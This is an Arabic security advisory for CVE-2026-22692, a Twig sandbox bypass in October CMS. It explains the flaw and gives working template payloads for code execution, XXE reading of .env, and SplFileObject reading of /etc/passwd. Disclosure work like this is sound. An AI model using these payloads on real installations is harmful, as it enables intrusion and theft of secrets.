
CVE-2026-22692 - تجاوز حرج لصندوق حماية Twig عبر collect()->mapInto() يسمح بـ RCE/LFI/XXE في October CMS
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-22692 |
| الخطورة | متوسطة (CVSS:3.1 4.9) |
| الإعلان الأمني | GHSA-m5qg-jc75-4jp6 |
| المنتج المتأثر | October CMS (<= 4.1.4, <= 3.7.12) |
| نوع الثغرة | تجاوز Twig Sandbox -> RCE, LFI, XXE |
| اكتشفها | Lukasz Rybak |
توجد ثغرة حرجة في بيئة Twig sandbox في October CMS (الوضع الآمن Safe Mode) تتيح للمستخدمين المصادَق عليهم الذين يتمتعون بصلاحيات تحرير القوالب تجاوز القيود الأمنية وتنفيذ كود PHP تعسفي (RCE) أو قراءة ملفات تعسفية من الخادم (XXE/LFI).
يقع السبب الجذري في October\Rain\Support\SafeCollection. تنفّذ هذه الفئة واجهة CallsAnyMethod، التي توجّه System\Twig\SecurityPolicy إلى تجاوز قائمة السماح القياسية للأساليب بالنسبة لكائن المجموعة نفسه.
في حين يحاول SafeCollection تصفية الوسائط لمنع التنفيذ المباشر للكيانات القابلة للاستدعاء، فإنه لا يحظر أسلوب mapInto($class). يتكرر أسلوب mapInto عبر المجموعة وينشئ مثيلًا لاسم الفئة المقدَّم:
new $class($value, $key);
يتيح هذا للمهاجم إنشاء أي فئة معروفة للتطبيق.
تدرج System\Twig\SecurityPolicy صراحةً أسلوب __toString() في قائمة السماح على جميع الكائنات. من خلال إنشاء مثيل من Psy\Readline\Hoa\Xcallable (الذي يغلّف كيانًا قابلًا للاستدعاء) وتغليفه داخل GuzzleHttp\Psr7\FnStream (الذي يستدعي دالة معرّفة من قبل المستخدم في أسلوب __toString عبر الخاصية _fn___toString)، يمكن للمهاجم تشغيل دوال PHP تعسفية لا تتطلب وسائط (مثل php_uname وphpinfo) بمجرد طباعة الكائن في Twig.
تقبل فئة SimpleXMLElement علم خيارات libxml كوسيطة ثانية لمنشئها. يمرر mapInto() مفتاح المجموعة كوسيطة ثانية إلى المنشئ. من خلال إنشاء مجموعة بمفتاح قيمته 2 (وهو ما يقابل LIBXML_NOENT)، يمكن للمهاجم تفعيل استبدال الكيانات الخارجية في SimpleXMLElement، مما يؤدي إلى XXE فوري والقدرة على قراءة ملفات النظام.
توجد ثغرة تضمين ملفات محلية (LFI) أكثر مباشرة باستخدام فئة PHP الأصلية SplFileObject. من خلال إنشاء مثيل من SplFileObject بمسار ملف ووضع قراءة (يُمرَّران عبر mapInto)، يحصل المهاجم على كائن ملف قابل للتكرار. يؤدي تمرير هذا الكائن إلى المساعد collect() إلى تكرار فوري (عبر iterator_to_array داخل نواة الإطار)، وهو ما يتجاوز سياسة حظر الأساليب في Sandbox. يتيح ذلك قراءة أي ملف يمكن لخادم الويب الوصول إليه، دون الحاجة إلى دعم XML أو مكتبات معينة من جهات خارجية.
CMS_SAFE_MODE=truephp_uname){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
/etc/passwd عبر SplFileObject){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
تنفيذ الأوامر عن بُعد (RCE)، تضمين الملفات المحلية (LFI)، حقن الكيانات الخارجية XML (XXE).
/etc/passwd، إعدادات قاعدة البيانات، .env، وغيرها) عبر نواقل متعددة (SimpleXMLElement أو SplFileObject).يؤثر هذا على أي تثبيت لـ October CMS حيث يمكن للمستخدمين غير الموثوقين أو شبه الموثوقين الوصول إلى محرر قوالب CMS، مما يتيح لهم فعليًا تصعيد الصلاحيات إلى مستوى مسؤول النظام / الجذر (Root).
تم الإفصاح عن هذا CVE بمسؤولية وفقًا لممارسات الإفصاح المنسق عن الثغرات. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.